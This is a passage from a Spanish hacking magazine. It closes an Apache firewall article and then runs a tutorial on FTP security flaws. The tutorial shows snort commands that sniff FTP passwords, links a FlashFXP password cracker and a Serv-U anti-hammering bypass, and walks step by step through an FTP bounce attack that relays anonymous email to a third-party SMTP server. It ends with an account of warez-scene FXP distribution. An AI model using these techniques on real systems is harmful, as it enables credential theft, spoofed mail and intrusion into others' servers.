            decir, podremos a configurar las reglas de
            acceso manualmente para poder tener un
            mayor control.


Página 12                                                                                            PC PASO A PASO Nº 12
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




          Zone Alarm muestra los avisos mediante                                 Con la primera visita a la
          ventanas de alerta con la siguiente imagen:                            Web (al Servidor Apache),
                                                                                 Zone Alarm preguntará si
                                                                                 aceptamos conexiones a
                                                                                 Apache y lógicamente
                                                                                 decimos que SI y además
                                                                                 señalando la opción de
                                                                                 recuerde la respuesta. La
                                                                                 Web está precisamente
                                                                                 para ser visitada, si
                                                                                 dijésemos que no, el
                                                                                 visitante no podría acceder
                                                                                 a la Web.

                                                                                 Mediante alertas, se van
                                                                                 configurando las reglas de
                                                                                 seguridad, en un principio
                                                            solo tendrías que aceptar conexiones a Apache
          Por ejemplo, cada vez que utilices el Internet    y rechazar el resto de conexiones (esta
          Explorer para navegar aparecerá una ventana       configuración sería ideal si el Ordenador se
          de color verde, si alguien intenta acceder a tu   utiliza únicamente como Servidor Web mediante
          Servidor Web aparecerá una ventana naranja,       Apache, si tu PC lo utilizas para mil cosas más,
          lo mismo si algún navegante quiere acceder        ya sabes, tendrás que dar permisos a muchos
          al servidor MySQL. En ese momento puedes
                                                            más servicios).
          hacer dos cosas, hagamos un ejemplo,
          intentando conectar mediante FTP al servidor
                                                            En cualquier momento puedes prohibir todo
          web.
                                                            acceso al ordenador ya sean las peticiones
          Intentar abrir una sesión FTP poniendo la IP      desde la propia red o desde Internet, para ello
          de vuestro servidor. Zone Alarm mostrará la       hay que pulsar el botón STOP de la parte
          siguiente ventana de aviso.                       superior (ver imagen 1, siguiente página).

                                                                                ZoneAlarm tiene
                                                                                muchas opciones,
                                                                                pero esto es lo básico
                                                                                para comenzar a
                                                                                proteger el servidor
                                                                                web, con esto es
                                                                                suficiente       para
                                                                                comenzar a tener un
                                                                                cortafuegos sencillo y
                                                                                útil. Existen otros
                                                                                muchos cortafuegos
                                                                                mucho más potentes,
                                                                                pero la idea de este
                                                                                artículo es proteger
                                                                                vuestro servidor web
                                                                                de ataques de la
                                                                                forma más sencilla
                                                                                posible       y   sin
                                                                                problemas.

PC PASO A PASO Nº 12                                                                                           Página 13
SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO - SERVIDOR APACHE SEGURO




                                                                 Firewall que te protegerá de los ataque. Si
                                                                 tienes una página Web ¿has pensado alojarla
                                                                 en tu servidor Web?, muchos webmasters
                                            IMAGEN         1     tienen sus webs con conexiones ADSL y les
                                                                 funcionan bastante bien. ¿lo has intentado?

            Conclusión.                                          Y después de Apache ... aún queda mucho
                                                                 por decir de Apache pero ya no será tan sencillo
            Consideremos que el objetivo del curso de            como los anteriores capítulos. En los próximos
            Apache se ha cumplido con las 5 entregas, la         números explicaremos técnicas de hacking en
            idea principal es que veáis que cualquiera           las que se verán implicados los Servidores Web,
            puede montarse su propio servidor en casa y          por ello es importante que te familiarices con
            tenerlo protegido mediante un sencillo firewall.     tu propio servidor Web (en este caso APACHE).
            Si has seguido las 5 entregas, habrás aprendido      No dejes nunca de “picotear” entre los muchos
            a tener tu servidor Web, utilizar dominios gratis    Servidores Web que puedes instalar en un PC,
            y redireccionarlos a tu servidor, crear mirrors      APACHE e IIS son los más conocidos, no es
            (espejos) de Webs en tu propio servidor Apache,      necesario que los domines a la perfección, tan
            algunos bugs conocidos de Apache, proteger           solo “trastealos” un poquito para tener
            el acceso al servidor Web y a instalar un sencillo   conocimientos básicos sobre ellos.


            ¿QUIERES COLABORAR CON PC PASO A PASO?
            PC PASO A PASO busca personas que posean conocimientos de
            informática y deseen publicar sus trabajos.
            SABEMOS que muchas personas (quizás tu eres una de ellas) han creado
            textos y cursos para “consumo propio” o “de unos pocos”.

            SABEMOS que muchas personas tienen inquietudes periodísticas pero
            nunca se han atrevido a presentar sus trabajos a una editorial.
            SABEMOS que hay verdaderas “obras de arte” creadas por personas
            como tu o yo y que nunca verán la luz.
            PC PASO A PASO desea contactar contigo!

            NOSOTROS PODEMOS PUBLICAR TU OBRA!!!
            SI DESEAS MÁS INFORMACIÓN, envíanos un mail a
            empleo@editotrans.com y te responderemos concretando nuestra oferta.




Página 14                                                                                             PC PASO A PASO Nº 12
RA 6 : FTP
                    W
          (File Transfer Protocol)
                Segunda Parte.
          El camino recorrido con esta serie (SERIE RAW) ha sido largo y terriblemente provechoso.
          Hemos conseguido tratar DE TU A TU con los temidos protocolos y a dominar temas que
          la mayoría de mortales ni tan siquiera sabe que existen. Vamos a por todas con el FTP!!!



          - Aprenderemos a conseguir claves de FTP por        temas aparte, que nada (o poco) tienen que
          diversos métodos                                    ver con el protocolo en sí mismo.

          - Aprenderemos a utilizar la popular herramienta    Igual que, por ejemplo, el protocolo SMTP
          Snort como sniffer                                  permite que el cliente especifique cualquier
                                                              dirección de origen, aunque ésta no
          - Aprenderemos lo que es el hammering               sea real (lo expliqué en el número 8 de la
                                                              revista), el protocolo FTP también permite otras
          - Aprenderemos a utilizar un servidor de FTP        muchas cosas que pueden implicar ciertos
          como puente para establecer conexiones              problemas de seguridad, aunque también
          anónimas a otros servicios en otras máquinas        pueden ser utilizadas para fines más
                                                              constructivos, como explicaré por ejemplo
          - Descubriremos los secretos de la Scene del        cuando hable sobre FXP en este artículo.
          Warez, las boards de FXP, los Dumps...
                                                              Así que, sin más dilación, pongámonos ya manos
          - Aprenderemos el funcionamiento interno del        a la obra. :-)
          protocolo FXP

          - Capturaremos conexiones de FTP de otros
          usuarios
                                                                 !            Nota de HackxCrack
          - Aprenderemos a abrir puertos en un firewall
          utilizando el protocolo FTP
                                                                 Nota de Hack x Crack: Hay muchas Webs donde puedes
          2. Problemas de seguridad en FTP                       informarte sobre los últimos “acontecimientos”
                                                                 relacionados con lo Seguridad Informática. Una de ellas
          Como lo prometido es deuda, aquí tenéis la             es sin duda http://www.vsantivirus.com/
          continuación del artículo sobre FTP. Como ya
          anticipé en el número anterior, en el que
          expliqué el funcionamiento del protocolo, en
          esta segunda parte mostraré algunos de sus
          problemas de seguridad inherentes.

          Insisto en que sólo hablaré de problemas
          inherentes al protocolo, por lo que no entraré
          en detallar exploits para ningún bug de una
          aplicación en concreto. Por supuesto, como
          cualquier aplicación actual, los servidores y
          clientes de FTP también tienen un largo historial
          con los más variopintos bugs clásicos (buffer
          overflow, DoS, etc, etc). Pero todo esto son

PC PASO A PASO Nº 12                                                                                             Página 15
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




                                                                   !             Como ya debes saber...
  Te la recomendamos no solo por la velocidad con que
  actualiza sus contenidos sino porque pone a tu disposición
                                                                   -         Como ya debes saber a estas alturas, una SHELL
  muchos artículos que sin duda harán las delicias de
  cualquier persona interesada por el tema. Está                   es una Ventana de Comandos, esa pantallita negra donde
  principalmente orientada a “temas víricos”, pero en los          puedes escribir “comandos”. Si no tienes ni idea, descárgate
  últimos tiempos los virus/gusanos utilizan precisamente          de forma gratuita el número uno de esta revista
  bugs del Sistema Operativo para su propagación, de               (www.hackxcrack.com) y recuerda que cualquier duda
  manera que encontrarás todo tipo de informaciones y en           puedes exponerla en el foro.
  perfecto castellano :)
                                                                   -         En este artículo se detalla el trabajo con un sniffer
                                                                   para Linux, puedes hacer lo mismo desde cualquier otro
                                                                   sniffer para Windows. Recuerda que en números anteriores
             2.1. CAPTURA DE CLAVES DE FTP                         ya hemos trabajado con sniffers para Windows.
                                                                   -         En este artículo se habla de “compilar el snort
             Para los que hayáis seguido fielmente todos           para Linux”. Nuestro foro de LINUX
             los números de mi serie RAW, este primer              (www.hackxcrack.com) está cada vez más activo, lógico
             punto será evidente, pero creo conveniente            si pensamos que cada vez estamos haciendo más referencias
             comentarlo, no solo como repaso, si no también        a este Sistema Operativo en nuestros artículos. Pues ya
             para los nuevos lectores. ;-)                         sabes, si no tienes ni idea de compilar el snort en Linux o
                                                                   tienes cualquier duda al respecto, pásate por el foro y entre
             Como expliqué en el número anterior,                  todos nos ayudaremos :)
             los passwords de autenticación en FTP se              -         Una última cosa… como puedes ver, poco a poco
             envían en texto plano, sin ningún                     intentamos que experimentes nuevas “sensaciones” y, si
             tipo de codificación ni encriptación.                 quieres seguir aprendiendo deberás tomarte esta invitación
             Por tanto, si tenemos alguna herramienta              como algo prioritario. Si hasta ahora has “pasado” de
             que nos permita capturar todo el tráfico que          instalarte Linux, no lo dejes por mucho más tiempo… todo
             circula por nuestra red, podremos capturar            lo que hasta ahora se ha explicado en PC PASO A PASO
             todos los passwords de FTP que sean enviados          (incluido en este número 12) puede hacerse tanto desde
             dentro de nuestra red local. Esta herramienta         Windows como desde Linux, pero llegará un momento en
             es precisamente un sniffer.                           que ciertos temas únicamente podrán tratarse desde Linux
                                                                   y ese día lamentarás no tener ni idea de por donde empezar.
             En Windows podéis utilizar, por ejemplo, el           Que no te pille el toro, atrévete con LINUX!!!
             sniffer IRIS. En Linux tenéis una gran oferta
             de sniffers, empezando por el clásico snort,      Una vez compilado e instalado snort (se sale
                                                               del tema del artículo explicar cómo hacer esto),
             que puede funcionar también como IDS
                                                               sólo tendremos que lanzar este comando desde
             (Sistema de Detección de Intrusos), y teniendo    una consola:
             también gran variedad de sniffers con interfaz
             gráfico, como por ejemplo Ethereal.               snort -v -d port 21

             Para no aburrir a los que siguen mi serie desde   El usuario que ejecute este comando tiene que
                                                               ser root. Os comento rápidamente que la opción
             el principio, esta vez en lugar de mostrar el
                                                               -v sirve para que muestre el contenido de los
             ejemplo con IRIS, lo mostraré con un sniffer      paquetes que captura, la opción -d para que
             para Linux. Y para que aprendáis aún más, no      muestre el campo de datos de los paquetes, y
             lo haremos con un sniffer gráfico, si no con      no sólo la cabecera, y port 21 es una
             snort desde una shell. :-)                        expresión que le indica que sólo muestre los
                                                               paquetes que circulen a través del puerto 21

Página 16                                                                                               PC PASO A PASO Nº 12
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




          (tanto si es de origen, como si es de destino).   Pero no nos precipitemos; vamos a ver primero
          Os recuerdo que el puerto 21 es el puerto         las 2 formas de crackear passwords de FTP,
          estándar para FTP.                                aparte de la captura directa que hemos visto
                                                            antes:
          Desde que ejecutemos este comando, se nos
          mostrarán en pantalla todos los paquetes          2.2.1. Crackeo local.
          relacionados con el puerto 21 que circulen en
          toda nuestra red local. Normalmente, esto será    Si tenemos acceso al disco duro de alguien que
          poco práctico, ya que no podemos estar todo       utiliza un cliente de FTP, en el cual tenga un
          el día pendientes de la consola esperando que     site manager en el que almacene direcciones
          aparezca el paquete que contiene el password,     y login/password de varias cuentas, podremos
          por lo que lo mejor es dejarlo un tiempo          coger el archivo del cliente de FTP donde
          corriendo, y mirar después en los logs de         almacene los sites y utilizar alguna herramienta
          snort. El directorio por defecto para los logs    de crackeo específica para ese software.
          de snort es /var/log/snort, aunque podemos        Por poner un ejemplo, en:
          especificar nosotros el directorio que queramos   http://link.box.sk/link.php3?rid=30953&url=h
          mediante la opción -l <nombre_directorio>.        ttp%3A%2F%2Fnewdata.box.sk%2Ftdwl%2F
                                                            flashfxp.pc.0.1.zip tenéis un crackeador de
                                                            passwords para el archiconocido cliente
                                                            FlashFXP.
                                                            Si no encontraseis la herramienta adecuada
                                                            para ese cliente, siempre os queda la posibilidad
                                                            de importar el archivo con los sites a vuestro
                                                            propio cliente, y sacar los passwords mediante
                                                            un sniffer, tal y como expliqué en el punto 2.1.
                                                            Este tipo de herramientas pueden ser muy útiles
                                                            cuando habéis olvidado los datos de
                                                            autenticación de alguna cuenta y los necesitáis,
                                                            normalmente porque tenéis que acceder desde
                                                            otro sitio, con otro cliente en el que no tenéis
                                                            los datos introducidos en el site manager.

                                                            2.2.2. Crackeo online.

                                                            Si, en cambio, lo que queremos es conseguir
          En esta captura podemos ver 2 consolas. En        acceso a un servidor de FTP remoto, tendremos
          la primera (la que tiene el foco), vemos la       que hacer un crackeo de cuentas por uno de
          salida que muestra snort al actuar como sniffer   los 3 sistemas clásicos:
          del puerto 21, y en la segunda vemos una
          sesión de FTP. El password que hemos              - Fuerza bruta
          introducido ha sido hxcpass. Como podemos         - Diccionario
          ver en la consola de snort, se ve claramente      - Métodos mixtos
          el paquete en el que enviamos el comando
          PASS hxcpass.                                     El crackeo por fuerza bruta consiste en probar
                                                            todos los posibles passwords hasta, a base de
          2.2.     CRACKEO DE CLAVES DE FTP.                miles de pruebas, dar con un password que
                                                            funcione.
          Antes de meternos con lo realmente interesante,   El crackeo por diccionario consiste en probar
          vamos a insistir un poco más en el tema de        una serie de passwords típicos y confiar en que
          los passwords, también para aclarar uno de        el administrador haya sido tan poco original de
          los términos que se escuchan a menudo             utilizar uno de esos passwords. Existen en la
          relacionados con el FTP, que es el del            red miles de archivos con diccionarios de
          hammering.                                        passwords en todos los idiomas.


PC PASO A PASO Nº 12                                                                                            Página 17
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




            Los métodos mixtos son muy variados:                ahora, cuando se lanza un intento de crackeo
            generación de fechas, combinaciones de              de passwords mediante cualquiera de los 3
            palabras de diccionario, etc.                       sistema mencionados antes (fuerza bruta,
                                                                diccionario, u otros métodos), éste sólo podrá
            En cualquier caso, existen defensas contra          ser efectivo si se pueden lanzar muchos intentos
            esto, y una de las clásicas es el anti-             de conexión lo más rápido posible, por lo que
            hammering. Si alguna vez habéis intentado           si se evita el hammering, se estará evitando
            acceder a un servidor FTP que estuviera lleno       también la posibilidad de un crackeo de
            de usuarios y no se pudiese entrar,                 passwords en el servidor.
            probablemente os habréis encontrado con que
            después, a pesar de que ya había hueco en el        Por supuesto, como nada es perfecto en este
            servidor, éste os había baneado y no permitía       mundo (y menos aún la seguridad informática),
            el acceso a vuestra IP. Esto probablemente se       siempre hay forma de saltarse las protecciones
            habrá debido a que no configurasteis bien           anti-hammering. Por ejemplo, aquí podéis ver
            vuestro cliente de FTP, y éste hizo un              una forma de saltarse la protección anti-
            hammering al servidor, el cual se “defendió”        hammering del popular servidor FTP para
            baneando vuestra IP para impediros el acceso.       W i n d o w s               S e r v - U :
                                                                http://www.securiteam.com/exploits/6W00H1
                                                                P0AO.html
            ¿En qué consiste el hammering, y por qué
            los servidores intentan evitarlo? Generalmente,     2.3.    FTP BOUNCE
            los servidores FTP suelen tener limitado el
            número de usuarios simultáneos, por lo que          Vamos a entrar al fin de lleno con una técnica
            los clientes de FTP suelen incorporar un            realmente interesante. ;-)
            mecanismo para reintentar la conexión cada          Esta técnica ha sido utilizada desde tiempos
            cierto tiempo si se da el caso de que el servidor   remotos, e incluso ha llevado a la necesidad
            esté lleno.                                         de escribir un RFC con recomendaciones para
            El problema aparece si el cliente de FTP está       evitar este tipo de ataques: ftp://ftp.rfc-
            configurado para que esos reintentos sean           editor.org/in-notes/rfc2577.txt
            instantáneos, es decir, sin dejar un tiempo
            prudencial entre cada reintento. Lo que ocurre      Para comprender el funcionamiento de este
            entonces es que el servidor de FTP se encuentra     ataque, debemos recordar el funcionamiento
            con que ese usuario está intentando conectar        del FTP activo (o no pasivo). En este tipo de
            con una insistencia de varios intentos por          transferencia, es el cliente el que especifica al
            segundo. La respuesta ante tal “falta de            servidor la IP y el puerto donde debe conectarse
            educación” suele ser el baneo a esa IP para         para establecer el canal de datos. Vaya... ¿no
            que no pueda volver a acceder a ese servidor.       os recuerda eso a algo? ¿quizá a las mil técnicas
                                                                que expliqué sobre DCC, donde también se
            Los motivos por los que el hammering no es          especificaban “manualmente” la IP y el puerto?
            deseable son básicamente 3:                         :-D
            - En primer lugar, el hammering consume             Si en lugar de darle al servidor de FTP nuestra
            recursos en el servidor de forma innecesaria        IP, le damos la de cualquier otra máquina, y
            (tanto ancho de banda, como recursos de la          como puerto le damos el de algún servicio que
            máquina).                                           tenga esa máquina, el servidor de FTP se
            - En segundo lugar, si hay varios usuarios          conectará a ese servicio de esa máquina,
            intentando entrar, sería como intentar “colarse”    pensando que en realidad se está conectando
            por la fuerza, por lo que es una falta de           a nuestra máquina para establecer un canal de
            educación, la cual además podría llevar a que       datos para una transferencia.
            los demás usuarios, queriendo tener igualdad        Veámoslo mejor con un ejemplo:
            de oportunidades, hiciesen también hammering
            contra el servidor, por lo que el problema se       Supongamos que el maléfico usuario PyC tiene
            multiplicaría.                                      una cuenta (puede ser también una cuenta
            - En último lugar, que es el que nos interesa       anonymous) en el servidor de FTP ftp.lco.es.


Página 18                                                                                            PC PASO A PASO Nº 12
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




          Resulta que tiene también una cuenta de            que es la IP del servidor de SMTP, la cual
          correo gratuita que se ha creado en                puede conseguir por cualquier sistema clásico
          www.hotpop.com para sus pérfidos planes.           de traducción de DNS a IP. Por ejemplo, desde
          Esa cuenta de correo funciona mediante POP3        Linux, ejecutaría en una consola:
          (para la recepción) y SMTP (para el envío).
          Estos 2 protocolos ya fueron explicados en la      host smtp.phreaker.net
          serie RAW, en los números 7 y 8 de la revista
          respectivamente. ;-)                               Y obtendría la IP. En este caso concreto, hay
          Lo que quiere hacer PyC es utilizar el servidor    3 IPs asociadas al mismo DNS, por lo que
          de FTP ftp.lco.es como intermediario (bouncer)     cualquiera de las 3 nos serviría. La IP que nos
          para enviar un email anónimo al usuario            quedamos es: 204.57.55.209.
          Zer0Cul.                                           El primer comando RAW a enviar será:
          Vamos a ver paso a paso cómo lo consigue:
                                                             PORT 204,57,55,209,0,25
          2.3.1. PyC prepara el archivo de
          comandos SMTP                                      Con eso estamos diciendo al servidor, que el
                                                             canal de datos para la próxima transferencia
          El primer paso será crear un archivo de texto      se establecerá cuando el servidor conecte al
          que contenga la secuencia de comandos              puerto 25 de la IP 204.57.55.209 que, por
          SMTP que quiere ejecutar sobre el servidor         supuesto, no es la nuestra (como debería ser
          smtp de hotpop (smtp.phreaker.net).                si estuviéramos haciendo algo “legal”), si no la
          Llamará a este archivo, por ejemplo:               del servidor SMTP de hotpop. ;-)
          ftpbouncemail.txt.
          Muestro aquí el contenido del archivo:             La forma de enviar comandos RAW depende
                                                             del cliente de FTP que utilicemos. Pongo 3
          EHLO pyc                                           ejemplos:
          AUTH PLAIN                                            - Desde telnet (tal y como enseñé en el
          AKI5Y65sY24GcGhyZTYbZXIubmV0ADJIbJIvcHljAAB=          anterior artículo), simplemente escribimos
          MAIL FROM: <pyc_lco@phreaker.net>                     el comando tal cual. :-)
          RCPT TO: <Zer0Cul@hotmail.com>                        - Desde FlashFXP, el clásico cliente de FTP
          DATA                                                  para Windows, con el shortcut Control-R
          Subject: ftp bounce                                   nos aparecerá una ventanita sobre la que
          From: pyc_lco@phreaker.net                            podemos introducir directamente el comando
          To: Zer0Cul@hotmail.com                               RAW.
                                                                - Desde un cliente FTP de consola en
          probando ftp bounce                                   Linux/Unix, escribimos quote seguido del
          .                                                     comando RAW. En este caso sería:
          QUIT
                                                                quote port 204,57,55,209,0,25
          2.3.2. PyC sube el archivo creado al
          servidor FTP                                       Una vez lanzado el comando PORT, ya sólo
                                                             nos falta decirle al servidor que ese canal de
          A continuación, se conecta al servidor de FTP      datos lo queremos para “bajar” un archivo,
          en ftp.lco.es, y una vez dentro va al directorio   desde el servidor hasta la IP que especificamos
          de Upload, en el que tiene permisos de             en el comando PORT (que debería ser la
          escritura (puede subir archivos). En ese           nuestra, pero nosotros le hemos “engañado”
          directorio, sube el archivo ftpbouncemail.txt.     dándole la IP del servidor SMTP). Si ahora
                                                             hacemos:
          2.3.3. PyC lanza los comandos RAW para
          el FTP bounce                                      RETR ftpbouncemail.txt

          Para hacer esto, a PyC sólo le falta un dato,      El contenido del archivo que creamos con los
                                                             comandos SMTP será enviado al puerto 25 del


PC PASO A PASO Nº 12                                                                                            Página 19
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




            servidor SMTP.                                    2.3.4. Nuestro ”amigo” Zer0Cul lee su
            Desde el punto de vista del servidor SMTP,        correo y... ¡Oh! ¡Sorpresa! Ö
            “alguien” habrá establecido una conexión TCP/IP
            con su puerto 25, por lo que interpretará que     Cuando el dueño de la dirección
            todo lo que se envíe a través de esa conexión     Zer0Cul@hotmail.com abra su cuenta de correo
            serán comandos SMTP.                              (usualmente, utilizando un cliente POP3), se
            Así que el escenario que tenemos es el            encontrará con nuestro e-mail, en el cual no
            siguiente:                                        aparecerá nuestra IP, si no la IP del servidor
            Una conexión TCP/IP establecida entre un          FTP que utilizamos como bouncer. ;-D
            servidor SMTP y un servidor FTP donde:

            - El servidor FTP (que actúa como cliente
            en esta conexión) cree que se trata de un
            canal de datos de FTP.

            - El servidor SMTP (que actúa como servidor
            en esta conexión) cree que se trata de una
            sesión de comandos SMTP.

            Por tanto, al estar ambas máquinas
            “engañadas”, el servidor FTP no tendrá ningún
            problema en transmitir los comandos SMTP, y
            el servidor SMTP no tendrá ningún problema
            en interpretarlos y ejecutarlos. ;-)

            Si hemos repasado el número 8 de la revista,
            donde la serie RAW trataba sobre el protocolo
            SMTP, ya sabréis que lo que hacen los
            comandos del archivo ftpbouncemail.txt es
            precisamente enviar un e-mail a la dirección
            Zer0Cul@hotmail.com.
                                                              En la imagen vemos el e-mail que ha recibido
                                                              Zer0Cul, mostrando las cabeceras completas.

                                                              2.4.   EL       MISTERIO          DEL     FXP
                                                              DESVELADO

                                                              El FXP es una de esas cosas que muchos usamos
                                                              pero pocos sabemos cómo funciona, ¡y eso que
                                                              es realmente sencillo! En realidad la idea del
                                                              FXP es muy parecida a la del FTP Bounce.
                                                              Si ahora mismo estás pensando: “pues no serán
                                                              tantos los que usan el FXP si yo ni siquiera se
                                                              lo que es...” no te preocupes, que ahora mismo
                                                              te explico qué es y para qué sirve. :-)

                                                              Antes de empezar con este tema, he de dejar
                                                              clara una cosa, para evitar problemas que sin
                                                              duda podrían surgir. Voy a hablar a continuación
                                                              de un tema oscuro, sobre el que los implicados
                                                              siempre han guardado un celoso silencio, así
                                                              que quiero dejar claro que mi intención no es
                                                              aquí la de desvelar ningún secreto, y menos


Página 20                                                                                         PC PASO A PASO Nº 12
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




          aún hacer ningún tipo de publicidad, si no que      Pero no confundáis esto con las famosas redes
          podéis considerarme simplemente como un             P2P (E-Mule, y compañía), ya que no tiene
          criminólogo que habla sobre los casos que ha        nada que ver. La Scene es algo perfectamente
          estudiado. Por hablar de ellos no está incitando    organizado, mientras que las redes P2P son un
          a la gente a que forme parte de ninguna             completo caos. Os muestro algunas diferencias:
          “mafia”, ni tampoco está desvelando secretos
          internos de esa “mafia” (entre otras cosas,         - Unicidad: Cualquiera puede coger el disco
          porque yo no pertenezco a ella). Simplemente        de Bisbal que se compró ayer y pasarlo a MP3
          hablo de lo que he podido observar desde            y luego distribuirlo a través de E-Mule. En
          fuera, y sin contar nunca nada que no pudiera       cambio, esto es imposible en la Scene, ya que
          conocer cualquiera que investigase el tema por      está todo regulado de forma que nadie pueda
          su cuenta.                                          aportar algo si otra persona aportó ya ese
                                                              mismo “producto”. Cada producto que se aporta
          2.4.1.   Un secreto a voces                         a la Scene recibe el nombre de release.

          ¿Sabéis lo que es la Scene del Warez?               - Calidad: Lo que aportes a la Scene tiene que
          Los que no lo sepáis, vais a encontrar aquí una     pasar unos estrictos controles de calidad
          información realmente interesante, así que          (resolución, formato, información
          estad bien atentos, porque os voy a hablar          complementaria, fidelidad al original, ...). En
          sobre un secreto a voces. :-)                       cambio, en las redes P2P te puedes encontrar
          Y los que lo sepáis, podéis estar tranquilos, ya    auténticas basuras, como: películas mal ripeadas,
          que no voy a desvelar ningún secreto que no         música con chasquidos y ruidos, discos
          pueda saber cualquiera con dos dedos de frente      i n c o m p l e t o s , fo r m a t o s i n c ó m o d o s o
          que dedique 5 minutos a investigar sobre el         incompatibles, canciones sin títulos, etc.
          tema por su cuenta. :-)
                                                              - Veracidad: En las redes P2P puedes encontrar
          Imaginad que trabajáis en una importante            los famosos fakes, que son cosas que no son
          distribuidora discográfica que recibe las últimas   lo que dicen ser. Por ejemplo, te tiras un día
          novedades del mercado antes de que éstas            entero bajando una película para luego descubrir
          estén a la venta. Un buen día conocéis a otro       que es otra totalmente diferente bajo un título
          tío que por su trabajo tiene acceso a las últimas   que no le corresponde, o puedes encontrar
          películas del mercado. Quedáis entonces de          supuestas aplicaciones que resultan ser virus
          acuerdo en intercambiaros discos de música a        o troyanos, etc, etc. En la Scene todo esta
          cambio de películas. Por supuesto, lo hacéis a      regulado para garantizar la autenticidad, además
          través de Internet, por lo que tenéis que ripear    de conocer la “identidad” del que ha hecho la
          el audio (MP3) y el vídeo (DivX). Pero pronto       release. Para ello, cualquier release ha de estar
          te das cuenta de que no das a basto, ya que         acompañada de un archivo de información
          tu compañero quiere más y más, y tu no eres         acerca del producto y de la persona o grupo
          capaz de ripear todos los discos que llegan         que la ha aportado. Por supuesto, nunca
          diariamente a tu tienda. Por suerte, pronto         seutilizan nombres reales. ;-)
          conoces a un chaval que resulta ser coleccionista
          compulsivo, y se compra todas las novedades         Muchas de las releases que circulan por las
          que salen al mercado. Así que llegas a un           redes P2P salen precisamente de la Scene, así
          acuerdo con él para repartiros el trabajo a la      que en cierto modo podríamos considerar a las
          hora de ripear los discos, para que así no se       redes P2P como el escalón más bajo, donde
          haga el mismo trabajo dos veces.                    llegan sólo “las sobras” de lo que se produce
                                                              en la Scene (me da a mi que me voy a buscar
          Imaginaos ahora esto mismo, pero a una escala       más de un enemigo con este artículo... 0:-)
          mucho mayor, con miles de personas de todo
          el planeta puestas de acuerdo para ripear           Hay quien confunde todo este “pirateo
          absolutamente todo, pero sin que se haga el         organizado” con mafias como la del famoso
          mismo trabajo dos veces. Pues eso es                Top-Manta, pero nada tienen que ver por un
          precisamente la Scene. :-)                          sencillo motivo: la finalidad. La finalidad de la


PC PASO A PASO Nº 12                                                                                                       Página 21
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




            Scene no es el lucro, si no el crear una basta      de distribuir a través de los servidores, pero...
            red para compartir productos con una garantía      trabajando desde casa. ;-)
            de calidad para el disfrute personal. En cambio,
            en el Top-Manta la calidad no es precisamente      Esta gente, que se denominan Couriers, suelen
            una finalidad, si no una traba que dificulta       disponer en su casa de conexiones normales
            producir más en menos tiempo.                      (módem, adsl, cable...) por lo que de ninguna
                                                               manera podrían transferir los datos de un
            2.4.2. El mecanismo de distribución                servidor a otro directamente a través de su
                                                               conexión casera. En lugar de eso, lo que hacen
            ¿Y por qué os cuento todo esto ahora? Pues         es dar una serie de instrucciones a los servidores
            ahora mismo encajo todas las piezas. :-)           para que ellos mismos se transfieran los datos
            Está claro que el mecanismo de distribución        entre sí, sin que tenga que circular nada a
            de la Scene no puede ser el mismo que el de        través del cuello de botella que supondría el
            las redes P2P, ya que este mecanismo es caótico    modesto ancho de banda casero del Courier.
            en sí mismo. No hay ningún tipo de
            centralización, si no que cada uno va pasando      El protocolo utilizado para que los servidores
            cualquier cosa a cualquiera, y no se puede         se transfieran datos entre sí es precisamente
            establecer ningún tipo de control sobre lo que     el FXP (File eXchange Protocol).
            circula.
                                                               2.4.3. Las boards de FXP y los Dumps
            En el caso de la Scene, donde está
            perfectamente regulado lo que puede y no           En realidad, la vida de los miembros de la Scene
            puede circular, es necesario centralizar de        no es precisamente un camino de rosas. Hay
            alguna manera la distribución. Para ello hay       que realizar un trabajo constante simplemente
            una serie de servidores distribuidos por           para permanecer en ella, pero con eso no basta,
            todo el planeta que son, por así decirlo,          ya que por el mero hecho de pertenecer a la
            certificados por la Scene. Por tanto, esos         Scene no tienes acceso a todo, si no que tienes
            servidores garantizan que todo su contenido        que ir trabajándote por tu cuenta el acceso a
            es únicamente producto de la Scene, con las        los distintos servidores: cuanto más trabajas,
            ventajas que eso conlleva (unicidad, calidad,      más consigues.
            veracidad...). Por supuesto, a estos servidores
            sólo pueden acceder los miembros de la             Por eso, surgió un movimiento paralelo a la
            Scene. :-(                                         Scene, que es el de las boards de FXP. Una
                                                               board consiste en un grupo de gente,
            Teniendo en cuenta la cantidad de gente que        típicamente miembros de la Scene, que se
            pertenece a la Scene, esos servidores tienen       dedican a intercambiar todo aquello a lo que
            que tener un gran ancho de banda (del orden        cada uno tiene acceso, sin los sufrimientos que
            de los 100Mbps típicamente), pero aún así          conlleva el conseguir esto mismo a través de
            nunca es suficiente, por lo que es necesario       los mecanismos clásicos de la Scene. Para ello,
            distribuir todo utilizando un gran número de       se montan sus propios servidores para realizar
            servidores.                                        el intercambio. Estos servidores suelen ser
                                                               menos potentes (menor ancho de banda, menor
            Ahora bien... ¿cómo se hace esta distribución      capacidad de disco, menos fiables, etc),
            entre todos los servidores? Estos servidores       pero se ajustan a sus necesidades, ya que
            suelen pertenecer a grandes organizaciones e       también el número de usuarios es mucho
            instituciones, por lo que no puede haber           menor.
            permanentemente (la Scene no descansa en
            las 24 horas del día) un miembro de la Scene       Como los miembros de las boards no suelen
            al teclado de cada servidor moviendo cosas de      disponer de las infraestructuras de la Scene
            un lado a otro.                                    (acceso a grandes servidores, contactos, etc),
                                                               no les queda más remedio que apañárselas por
            La solución consiste en tener una serie de         otros medios... y es ahí donde aparecen los
            miembros cuya finalidad es precisamente la         Dumps.


Página 22                                                                                            PC PASO A PASO Nº 12
SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II) - SERIE RAW: FTP (II)




